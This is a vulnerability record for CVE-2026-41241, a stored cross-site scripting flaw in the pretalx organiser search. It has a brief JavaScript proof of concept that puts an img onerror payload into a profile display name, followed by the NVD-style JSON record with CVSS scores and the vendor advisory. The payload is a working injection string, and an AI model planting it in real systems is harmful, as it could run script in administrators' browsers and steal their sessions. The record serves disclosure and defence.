CVE-2026-41241

// This PoC demonstrates how an attacker might inject a payload into a vulnerable field. // In a real scenario, this would be done through the 'Edit Profile' or 'Submit Proposal' form. // 1. Define the malicious payload (e.g., stealing cookies or executing arbitrary JS) const xssPayload = '<img src=x onerror=alert(\'CVE-2026-41241 XSS Executed\')>'; // 2. Simulate updating the user's display name with the payload function updateDisplayNameWithPayload() { console.log(`[+] Updating display name to: ${xssPayload}`); // Hypothetical API call to update profile /* fetch('/api/users/me', { method: 'PATCH', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <attacker_token>' }, body: JSON.stringify({ 'name': xssPayload }) }); */ } // 3. Execute the update updateDisplayNameWithPayload(); // Note: When an administrator searches for this user in the backend, // the 'innerHTML' method will render the <img> tag, triggering the 'onerror' event.

{"cve": {"id": "CVE-2026-41241", "sourceIdentifier": "[email protected]", "published": "2026-04-23T19:17:29.533", "lastModified": "2026-04-28T19:07:37.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pretalx is a conference planning tool. Prior to 2026.1.0, The organiser search in the pretalx backend rendered submission titles, speaker display names, and user names/emails into the result dropdown using innerHTML string interpolation. Any user who controls one of those fields (which includes any registered user whose display name is looked up by an administrator) could include HTML or JavaScript that would execute in an organiser's browser when the organiser's search query matched the malicious record. This vulnerability is fixed in 2026.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pretalx:pretalx:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.0", "matchCriteriaId": "03EB5005-B230-44D1-ABC5-16C13DC4D187"}]}]}], "references": [{"url": "https://github.com/pretalx/pretalx/security/advisories/GHSA-cjcx-jfp2-f7m2", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}